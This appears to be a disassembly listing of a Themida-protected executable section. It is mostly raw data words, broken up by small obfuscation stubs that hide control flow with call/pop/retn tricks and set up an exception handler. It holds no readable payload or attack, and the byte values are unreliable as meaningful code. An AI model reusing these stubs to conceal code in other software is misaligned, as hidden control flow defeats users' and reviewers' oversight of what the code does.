dd 0F5F7CB0h, 88Bh, 85895300h, 6131469h, 55858B5Fh, 8B06130Fh
dd 0CAE381D9h, 0C64B1E0Fh, 6A0000h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 0C5D667C3h
dd 0C448B614h, 0C78DDF80h, 131E5185h, 6, 57006A00h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h
dd 906F9157h, 0B2FEDA40h, 0E9F88B5Bh, 0FFFFF2BDh, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 62C35747h, 8B0EC780h
dd 52006AC1h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h
dd 0C3524200h, 0EA599EBCh, 15B3C6B7h, 0A9858D2Bh, 0F06131Eh
dd 681h, 75858900h, 90061310h, 0D73BBF66h, 12E85750h, 46000000h
dd 6506B7AAh, 72B1646Fh, 7EFBF5BDh, 0CE23313h, 5BDF8B68h
dd 6A905Fh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
dd 53430000h, 57A119C3h, 0DE9006Ah, 0F5000000h, 0CF417438h
dd 0DD09F82Dh, 132FB9C6h, 6ADE8Bh, 1E158529h, 0F3810613h
dd 83C297h, 8186858Dh, 6A0617h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 190424h, 50400000h, 0FD33E4C3h, 31161465h
dd 130B75B5h, 5C08306h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 14h, 4EC35545h, 3151BD0Bh, 50900613h, 14E9h
dd 3C56CD00h, 0A3043669h, 0CB1988C9h, 19787F3Fh, 6E8FBB1Bh
dd 8B669055h, 0F006ADFh, 188h, 6AF800h, 7352F381h, 95FF288Eh
dd 61307F1h, 18880Fh, 13E90000h, 0FD000000h, 501B60F2h
dd 5D9DB974h, 0CAD7F3A1h, 9BE1BA11h, 8D8DF911h, 616A36Ah
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 88C35141h
dd 0E6D6D686h, 0E0E596FFh, 6AD1FFh, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 170424h, 53430000h, 71BDD6C3h
dd 0D98B6660h, 173DBD83h, 0F010613h, 4785h, 55006A00h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h
dd 0F5ED6889h, 0B3C5FFABh, 0BD2B98C2h, 6132C75h, 8956026Ah
dd 131231B5h, 50905B06h, 21958990h, 0FF06130Dh, 131E9595h
dd 0B5EB8006h, 0DE7E9h, 0E800h, 815D0000h, 178190EDh, 8166F906h
dd 8DCD57C7h, 168F5E85h, 0FE906h, 960F0000h, 0DF4726F5h
dd 0D107B5Dh, 3CDD0F97h, 0FE8B90DEh, 90FC8A50h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 49C35747h, 0B6B60AB8h
dd 0DE8B0ACAh, 35FF64h, 60000000h, 79BFDA8Bh, 6156F109h
dd 258964h, 66000000h, 8E9FB8Bh, 89000000h, 0CA067250h
dd 0FFBD957Ah, 1316D985h, 68D0F06h, 89000000h, 130E5DB5h
dd 6AFF6A06h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 19042444h, 42000000h, 5C57C352h, 0FF4D796Ch, 14E9h
dd 93845C00h, 87D124E7h, 0BA942729h, 12EE6416h, 4B5C0429h
dd 0B5FFF5C3h, 613302Dh, 0FE8BFA8Bh, 31AD95FFh, 0E6E90613h
dd 8B000000h, 300B0D9h, 1311C99Dh, 8170E606h, 0ED7F3CBh
dd 171E450h, 132B91BDh, 0F613C06h, 0C483h, 61B52900h, 0F061316h
dd 0F52C8B6h, 0BA5FF9B7h, 6, 0AC91BFBBh, 66C18B00h, 0B016E381h
dd 8904E8C1h, 1317758Dh, 0A5BD8B06h, 6606132Fh, 0BB66E2F7h
dd 0C82B9B67h, 5E9D18Bh, 0D8000000h, 0D5383C77h, 54EF8153h
dd 5F1D70EBh, 7E9h, 9D89F900h, 61313F5h, 0BD858Bh, 0BD8B0613h
dd 61323FDh, 8907C083h, 132CFD8Dh, 0C08306h, 3B1EC380h
dd 0A830FD0h, 0F000000h, 42E9FBBFh, 8B000000h, 398D8BF9h
dd 0BF061306h, 59EBFF95h, 0F01E183h, 2C84h, 8E900h, 22380000h
dd 61E1405Dh, 0A5831266h, 6130639h, 1DB589FEh, 66061332h
dd 8981C7BBh, 1300BD95h, 35D78006h, 0E9h, 1EB58D00h, 8B06170Ah
dd 131059BDh, 5F71BF06h, 6A44F5h, 13ADBD8Bh, 95FF0613h
dd 6130DA9h, 1B4D8529h, 85890613h, 6131D9Dh, 81DB9h, 51006A00h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h
dd 0DC943161h, 158F0FA5h, 0E8000000h, 9, 41789750h, 6522F0EBh
dd 419D0BC3h, 5F06131Dh, 835BF850h, 6AFCE1h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0D2E04AC3h
dd 8E19A5D1h, 0E9F9B70Fh, 8, 948BA73Fh, 0C029F67Eh, 9DBD89FCh
dd 0E906131Eh, 7, 9BEA95A9h, 2B6AA680h, 0A18501C0h, 2B061329h
dd 57006AD2h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h
dd 0C3574700h, 8589F965h, 61324B1h, 4507BB66h, 0D1C233ADh
dd 83D003E8h, 0F47504E9h, 1EE8160h, 0F7F588Dh, 8B61C7BFh
dd 1331A5BDh, 880D06h, 6A0000h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 140424h, 56460000h, 7E912C3h, 0C000000h
dd 69883918h, 958B00AAh, 6131BBDh
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 4FC35545h
dd 94F02D77h, 0FF86C4Dh, 68Bh, 0BDB58900h, 8B06132Eh, 1318DD8Dh
dd 0A4F78006h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h
dd 0BB665818h, 8D09B462h, 61310D5h, 1D1DBD83h, 0F000613h
dd 6784h, 0B800h, 85310000h, 6132C7Dh, 4F8D8D8Dh, 6A0613h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
dd 0CDC98EC3h, 0E317D880h, 958951F9h, 6131059h, 6AE1FF5Bh
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 19042444h
dd 47000000h, 0A5E4C357h, 31A16BFEh, 21953157h, 5F061309h
dd 3055BD83h, 0F000613h, 43A84h, 659D8B00h, 83061329h
dd 133055BDh, 840F0106h, 442h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Ch, 0DFC35747h, 18DF5CD8h, 9ED49292h
dd 1A01B589h, 95890613h, 6130B41h, 0BD83DA8Ah, 6133055h
dd 0CD860F03h, 0E8000003h, 0Ah, 128332ECh, 0D7E63EACh
dd 8531A227h, 6130F09h, 8BFC605Fh, 0D98C66DFh, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 88C35141h, 5100AA69h
dd 2890Fh, 61600000h, 11BD8B5Bh, 80061332h, 6A04E1h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
dd 13DFDDC3h, 264B5182h, 0CDBD8B52h, 5B061308h, 8BFBBF0Fh
dd 132549BDh, 0FC90A06h, 11584h, 9E800h, 473C0000h, 17A82285h
dd 0BBC80DF3h, 58764862h, 0B9858B5Fh, 0B06132Bh, 13318D9Dh
dd 0B9853306h, 0E9061305h, 0Ah, 51FFD74Eh, 635000BEh, 5190039Ch
dd 8B0F505Bh, 0
db 90h
; ---------------------------------------------------------------------------
push 0
push edi
call sub_5C4950
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C4950 proc near ; CODE XREF: Themida_:005C4948p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 18h
inc edi
push edi
retn
sub_5C4950 endp
; ---------------------------------------------------------------------------
dd 0E050A7CEh, 0DB815158h, 70476B88h, 6A006A5Bh, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
dd 0A737C352h, 6F4E1DF3h, 959D8BF7h, 68061311h, 6F09D36Fh
dd 90243481h, 6A6F16D0h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1C042444h, 42000000h, 7C21C352h, 71F94985h
dd 295C8364h, 1329C195h, 0F8CB8106h, 0FF6AB912h, 130A3D95h
dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h
dd 0C3524200h, 0AFC2A847h, 0A5F26093h, 9D8BB1BCh, 6131E79h
dd 13D9BD09h, 85890613h, 616C454h, 0E5E93FB3h, 0F000001h
dd 858BFABFh, 616C44Ch, 24859529h, 0C70613h, 18h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0FBC35747h, 0FBB70FD6h
dd 0B58B6FB7h, 616C450h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 17h, 76C35747h, 0F7E062Eh, 858BDAB7h, 6132A55h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0DEC35646h
dd 0D27E58BAh, 0D374322Fh, 89DF8B66h, 9BD0306h, 8B061324h
dd 132BB985h, 8955B306h, 6A0446h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 190424h, 52420000h, 879B3FC3h, 0E91B2003h
dd 13h, 319D85D8h, 0EA613DF8h, 0A636EBAFh, 55296570h, 509A8C42h
dd 0B0C59FBBh, 2434895Eh, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Bh, 9CC35141h, 0E1FC5C07h, 813BF345h, 9168C2CBh
dd 4CB5FF7Bh, 6A0616C4h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 14042444h, 41000000h, 89D8C351h, 13154995h
dd 17096806h, 8B668929h, 240481FBh, 76F5ECF6h, 2565BD8Bh
dd 0EB810613h, 4616A71Eh, 0C454858Dh, 6A0616h, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
dd 19E4DDC3h, 0F381662Fh, 89505868h, 6A2404h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0C7859AC3h
dd 8AD66222h, 0E96099B3h, 11h, 9EAF57CCh, 0D9FD7FAAh, 3F373079h
dd 91BF3F0Bh, 0F3F68187h, 612C49F5h, 0A3D95FFh, 6A0613h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
dd 0D84F64C3h, 0FCE06D2Ch, 0DCC38061h, 305585C7h, 30613h
dd 83FC0000h, 16C454BDh, 840F0006h, 30h, 0E852006Ah, 3
dd 5AC35A20h, 4245489h, 4244481h, 1Ah, 5BC35242h, 0EC1EF753h
dd 24E9B9ADh, 0F000000h, 0BD8BD8B7h, 6130EB5h, 110C3050h
dd 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h
dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h
dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
dd 30011164h, 0E9831104h, 0EBE77504h, 0FC08B00h, 38Ch
dd 0F9B70F00h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 15h, 0BFC35343h, 9E871h, 38C10000h, 8B4E2160h, 0E983A18Dh
dd 11h, 90560913h, 10E1CC1h, 7D0312B8h, 0DE4B29E3h, 9D295B45h
dd 6131291h, 0BB5B589h, 0BD830613h, 6133055h, 0E1850F03h
dd 0E9000004h, 6, 0A94955C6h, 0BD8374F2h, 616C454h, 0C9840F00h
dd 6A000004h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 17042444h, 46000000h, 5BF5C356h, 0EE9877Ch, 0BB000000h
dd 0C7D6A9F5h, 86CD1F7Dh, 39321281h, 54B5FF42h, 8B0616C4h
dd 132C519Dh, 6995FF06h, 0F061309h, 0BE8FABFh, 0BC000000h
dd 0FB0D2C78h, 41CB3B16h, 95893874h, 61315D5h, 48B58B5Bh
dd 6A0616C4h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1D042444h, 47000000h, 0EEE7C357h, 14A14473h, 0E76C0272h
dd 106C7h, 6A0001h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 160424h, 53430000h, 88AB50C3h, 0FE8h, 0AF5AA000h, 8C9D4E5Bh
dd 0C887FA5Fh, 0DE41550Eh, 8E8h, 431CA400h, 91199EFCh
dd 965B5B99h, 8F734BBFh, 5060502Eh, 0F525052h, 0F585A31h
dd 0D68B6631h, 9661585Ah, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Ch, 0E7C35545h, 697D81ABh, 650D3E75h, 0C454B5FFh
dd 6A0616h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
dd 56460000h, 7F16D7C3h, 77BD5489h, 60F9448Bh, 0BE9h, 462FE600h
dd 56E3FB4h, 4D44CF62h, 34DF8166h, 95FF61CCh, 6133229h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 6EC35141h
dd 89D470CFh, 1318F1B5h, 48B58B06h, 6A0616C4h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
dd 4ADC350h, 0E702CF90h, 0BD8B98BDh, 61319E5h, 7E8h, 0BE011C00h
dd 0DF994230h, 160DF9BBh, 858B5F66h, 6130631h, 10E9h, 985B9100h
dd 0FBFA2B50h, 0C38BD495h, 3C2F452h, 0C486892Dh, 6A000000h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h
dd 45000000h, 6847C355h, 0D5BCA9EBh, 31558529h, 9D2B0613h
dd 6131539h, 1BBD958Bh, 10E90613h, 7E000000h, 564EB263h
dd 52CCC97Fh, 2B24F137h, 83E0F81Eh, 6A04C2h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 170424h, 52420000h, 0B222F7C3h
dd 20508957h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 14h, 0EAC35343h, 0D8E3858Dh, 6A0616h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 247B41C3h
dd 0F09E9565h, 203D9589h, 86890613h, 0B8h, 30599D8Bh, 6A0613h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0BBC35747h
dd 0C454B5FFh, 6A0616h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1A0424h, 51410000h, 94400AC3h, 7B9B63DDh, 117DBD03h
dd 95FF0613h, 6131E95h, 35BD8B57h, 5F061305h, 899CB350h
dd 6A2434h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
dd 53430000h, 0D71A29C3h, 0BB663EEBh, 0B5FF220Eh, 616C454h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 9C35545h
dd 0C1AE4AB8h, 15858912h, 0FF061300h, 13214595h, 21BD8B06h
dd 83061323h, 131495BDh, 840F0006h, 2Ch, 0F9660B7h, 148Ah
dd 0DE95100h, 78000000h, 0E49FC798h, 77DFFD3h, 0E2028057h
dd 0BF66505Fh, 8B967D31h, 131C05BDh, 0D98B6606h, 0C454B5FFh
dd 6A0616h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
dd 50400000h, 589527C3h, 96C05AE3h, 95FF9CB0h, 61305ADh
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0C7C35141h
dd 0B560CC37h, 8B6632D8h, 54B5FFD9h, 6A0616C4h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
dd 0FCFFC355h, 0FF06B73Ah, 13120995h, 52006A06h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h
dd 8B0FA9CAh, 0Ch, 6880Fh, 9D8B0000h, 6131F09h, 511BD83h
dd 0F020613h, 6A84h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1504h, 0C3554500h, 858B38A9h, 6130F55h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 16C35747h, 0D517BA77h
dd 0C671h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 15h, 0B1C35343h, 91B529EBh, 0C706130Eh, 131E5185h, 6
dd 0DF8B6600h, 0FFF300E9h, 50006AFFh, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1A04h, 0C3504000h, 188F95DCh
dd 8B5EFD22h, 52006AC1h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1904h, 0C3524200h, 12F53AEBh, 0BD23811Eh, 6131319h
dd 68D0Fh, 9D290000h, 6131DADh, 1EA9858Dh, 7E90613h, 66000000h
dd 0D987C1BDh, 6090AB43h, 0DE9C88Bh, 8D000000h, 9596EF10h
dd 0B6EB2FC1h, 195246F5h, 6A905061h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 769FC356h
dd 19599D89h, 6A0613h, 0FD8A006Ah, 910C858Dh, 6A0617h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
dd 83FC8BC3h, 6A05C0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 180424h, 55450000h, 0BBA826C3h, 860F285Ah, 3, 33DEBF0Fh
dd 1330C19Dh, 8B605006h, 48961F9h, 2D852924h, 6A06132Dh
dd 68D0F00h, 29000000h, 1320ED95h, 1006A06h, 131AD98Dh
dd 658D8906h, 0FF06131Fh, 1307F195h, 0F0DF8006h, 0A36A8D8Dh
dd 85890616h, 613163Dh, 6AD1FFh, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 170424h, 56460000h, 0ADAAB4C3h, 83CB81D7h
dd 83427837h, 13173DBDh, 850F0106h, 7Eh, 0E856006Ah, 3
dd 5EC35E20h, 4247489h, 4244481h, 1Ah, 0B9C35646h, 7773EFF3h
dd 26A64F1h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 16h, 47C35141h, 6690A9E9h, 5072FABFh, 90DF8B66h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 9C35040h, 0C0930F4Dh
dd 0BE2F6E49h, 1E9595FFh, 89520613h, 1329659Dh, 48E95F06h
dd 0E8000010h, 0
; ---------------------------------------------------------------------------
pop ebp
sub ebp, 6179116h
mov bh, 16h
mov ebx, 100A974Dh
lea eax, [ebp+6168F5Eh]
push 0
push edx
call sub_5C53FF
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C53FF proc near ; CODE XREF: Themida_:005C53F7p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 18h
inc edx
push edx
retn
sub_5C53FF endp
; ---------------------------------------------------------------------------
db 0F9h
dd 0EE2D55Eh, 0BD8B5B56h, 6130F01h, 238C0F50h, 0E8000000h
dd 7, 26D0F4F8h, 0E8C176F4h, 10h, 33A11D8Ch, 3B765EA8h
dd 0D27832EBh, 0ACC74F99h, 4895B5Fh, 50006A24h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1404h, 0C3504000h, 68B0F33h, 0F000000h
dd 85h, 35FF6400h, 0
; ---------------------------------------------------------------------------
push 0
push edx
call sub_5C5483
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C5483 proc near ; CODE XREF: Themida_:005C547Bp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 18h
inc edx
push edx
retn
sub_5C5483 endp
; ---------------------------------------------------------------------------
add al, 0EBh
cmc
pop ecx
pop ss
sbb di, 546Eh
mov large fs:0, esp
push 0
push eax
call sub_5C54AF
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C54AF proc near ; CODE XREF: Themida_:005C54A7p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Dh
inc eax
push eax
retn
sub_5C54AF endp
; ---------------------------------------------------------------------------
db 65h
dd 99F06836h, 91D3D6DDh, 0BD096033h, 6132FDDh, 0D059D89h
dd 0FF610613h, 1316D985h, 51006A06h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1704h, 0C3514100h, 0B04781D5h
dd 5E8h, 0E63C4500h, 9D8B2575h, 61334BDh, 6AFF6A5Bh, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
dd 1C08C356h, 92BB8A87h, 0FF7EB1D8h, 1331EDB5h, 50006A06h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h
dd 0A7D01BE0h, 62D28372h, 95FF3626h, 61331ADh, 132E9h
dd 0D88B6600h, 0E78100B0h, 24361ADCh, 9D8B70E6h, 6130A0Dh
dd 0EF8171E4h, 23DD1E12h, 830F613Ch, 10Fh, 69B58951h, 5B06130Eh
dd 0FC8B60Fh, 6BAFABFh, 8B000000h, 1309E5BDh, 8BB6B706h
dd 13850FC1h, 0E9000000h, 0Eh, 889D72D1h, 870515EDh, 87B1535Dh
dd 0E8C1EB49h, 9D8B5004h, 6131B11h, 0E2F7665Fh, 0E8DF8B66h
dd 9, 1A2F4A9Bh, 0CB2D885Dh, 699D2B03h, 5F061331h, 0B531C82Bh
dd 61322CDh, 0DF80D18Bh, 10E924h, 5E90000h, 39000000h
dd 19171E70h, 1BF98589h, 858B0613h, 6130019h, 14E9h, 0C96D7700h
dd 147D7AE2h, 5B882BAEh, 2CD34301h, 0E366E0DEh, 7C08388h
dd 5E856h, 0A5220000h, 0E9D4106Ch, 0Bh, 0EC34C62Eh, 0D8456483h
dd 5F133D22h, 0C0835Fh, 0FD03BF9h, 1783h, 9606000h, 131AE185h
dd 0EAB96106h, 61159F3Fh, 32E9h, 0F88B6600h, 2CD58D8Bh
dd 0E1830613h, 20840F01h, 29000000h, 132C618Dh, 0D5A58306h
dd 0FE06132Ch, 0D480FC60h, 958961F6h, 6130019h, 0E919B7h
dd 8D000000h, 1713F4B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1A04h, 0C3504000h, 70A98751h, 0FC5D82Eh
dd 58Fh, 0CB5DBB00h, 0D78044D2h, 0E9006AF5h, 0Eh, 63E001A6h
dd 448180ECh, 1EAE518Fh, 0E3806CC5h, 0A995FFA5h, 6A06130Dh
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h
dd 40000000h, 2198C350h, 4DF3856h, 0C870FBAh, 0F000000h
dd 681h, 8D858900h, 89061314h, 13054D8Dh, 7CCB906h, 0BD310000h
dd 6132851h, 0AE9h, 98E6A900h, 17C968F5h, 83F2F51Ah, 0BD8BFCE1h
dd 61314A1h, 9E9FCh, 673C0000h, 2D7DDD96h, 2B2A62AEh, 0BAC0h
dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
dd 50400000h, 0B70FA7C3h, 6820FFBh, 31000000h, 1306C995h
dd 0C233AD06h, 0D003E8D1h, 7504E983h, 57006AF4h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h
dd 0E38BB472h, 0BC55CB5Fh, 0DE9C1h, 0CD220000h, 834B9CEBh
dd 0FF2A3735h, 0E812430Ah, 6, 874D173h, 0CB81F78Bh, 3D0034DEh
dd 880D5Bh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 190424h, 56460000h, 1B023BC3h, 0B719370Ah, 11E942h
dd 0C39F0000h, 36E62F86h, 23BBEFEBh, 0E2DE5E80h, 8B484709h
dd 131BBD95h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1C04h, 0C3574700h, 1C1C4FE8h, 0F899255Bh, 0EF816655h
dd 8D8B0498h, 61318DDh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 14h, 8C35545h, 8BC28B50h, 8BC10318h, 0D1C18B18h
dd 8BC203E8h, 6A5818h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1A0424h, 53430000h, 0E84259C3h, 0A27C082Fh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 2FC35646h, 95893DD6h
dd 6131DB9h, 0EE99D29h, 0BD830613h, 6131D1Dh, 34840F00h
dd 66000000h, 0B8F98Bh, 0F8000000h, 4F8D8D8Dh, 6A0613h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
dd 89ED39C3h, 1309BDB5h, 83E1FF06h, 133055BDh, 840F0006h
dd 53Fh, 9619D31h, 0BD830613h, 6133055h, 47840F01h, 0E9000005h
dd 7, 45C5C18Bh, 83F9FD5Fh, 133055BDh, 860F0306h, 4F8h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0F9C35747h
dd 0F0E22F82h, 0A7BCD393h, 9B5BD8Bh, 9D890613h, 6131F65h
dd 53006A60h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h
dd 0C3534300h, 248160D8h, 22B2AFFBh, 12A19D8Bh, 8C660613h
dd 52006AD9h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h
dd 0C3524200h, 3D010D82h, 0BD8B04F0h, 6130ECDh, 8B04E180h
dd 1312859Dh, 0FC90A06h, 1F084h, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 0AE9A1h, 0D71B0000h
dd 53499F02h, 62C745FDh, 2BB9858Bh, 6A0613h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1B0424h, 50400000h, 837D63C3h
dd 481247h, 11E9FAh, 92730000h, 0AC3C6BEBh, 0DE7328C0h
dd 0A57FA2FDh, 33E231A7h, 1305B985h, 50006A06h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1604h, 0C3504000h, 669EF94Ch
dd 501822BFh, 48932B3h, 50006A24h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1B04h, 0C3504000h, 3522A0D2h, 4F06B1D0h
dd 6AF98B66h, 68A0F00h, 89000000h, 130ECDBDh, 4E806h, 3FF0000h
dd 5250001Fh, 0FF98B66h, 15BB6631h, 50585AD1h, 14E8h, 800C9A00h
dd 0C97D21E1h, 460C40D2h, 0F8B604DBh, 0D83EC648h, 448B5FF5h
dd 0F500424h, 585h, 4CEABB00h, 8B5B5E66h, 0C993BB00h, 44894F05h
dd 890F0424h, 2, 8B5806B3h, 3D95FFD8h, 6A06130Ah, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
dd 0CC8BC356h, 510994h, 0BD8B6C6Dh, 61324DDh, 0C4548589h
dd 6A0616h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
dd 50400000h, 4A4E7EC3h, 0A087E264h, 10E9h, 389DA200h
dd 7D00C14Ch, 4903BE52h, 0F675115Fh, 10E836h, 99960000h
dd 8D8DBFCBh, 5C3139E3h, 470B2766h, 0E9606F2Ah, 0Dh, 6333227Eh
dd 1FFEF111h, 8E7A9D44h, 0E78166E5h, 5F61A0A7h, 206E9h
dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h
dd 0C3564600h, 0ADCEAA37h, 0B70FCD73h, 0BD8960FBh, 6131061h
dd 4C858B61h, 6A0616C4h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 18042444h, 47000000h, 717BC357h, 604ACAF6h
dd 38D0Fh, 0B70F0000h, 3DB58BC0h, 61061335h, 1800C7h, 81660000h
dd 8B7BD1E7h, 16C450B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1D04h, 0C3554500h, 0CD47B4AEh, 0B0C0E4BEh
dd 0BD334E86h, 61300D9h, 2A55858Bh, 6A0613h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0F3367EC3h
dd 0C7813D62h, 4918E96Fh, 0CF810689h, 4707906Ch, 2BB9858Bh
dd 81660613h, 891E2BCBh, 9D290446h, 6131D29h, 8B665096h
dd 8B6696FAh, 4CB5FFF8h, 6A0616C4h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 0B501C357h
dd 2A6AA34Fh, 0ACB75034h, 5E9h
dd 0CE196500h, 0BF0F0A62h, 48A068F9h, 10E99072h, 4000000h
dd 0A051A936h, 82826A2Bh, 0E0DD6BAAh, 81A8A96Fh, 0BB5F2404h
dd 10E86FACh, 28000000h, 7405F024h, 0A2655B5Ch, 2CBBDA97h
dd 0E90F65E6h, 12h, 0F3601A08h, 2D9CF564h, 6070FB77h, 4A72CCE9h
dd 8D5B6210h, 16C45485h, 50006A06h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1704h, 0C3504000h, 0A6E2BDA1h, 12E9h, 0C7C4D700h
dd 0E107A70Bh, 1E83DEh, 0DA761F0h, 664063D4h, 0F50FE8Bh
dd 8Bh, 24048900h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Ah, 20C35343h, 918F8458h, 0BD0BE637h, 6132BC1h
dd 0A3D95FFh, 0DE80613h, 90000000h, 0EB2AEBD3h, 0E148C963h
dd 3AC915D9h, 16D19D2Bh, 615F0613h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Ch, 0A7C35646h, 0D04EE4ECh, 6B3BF6B0h
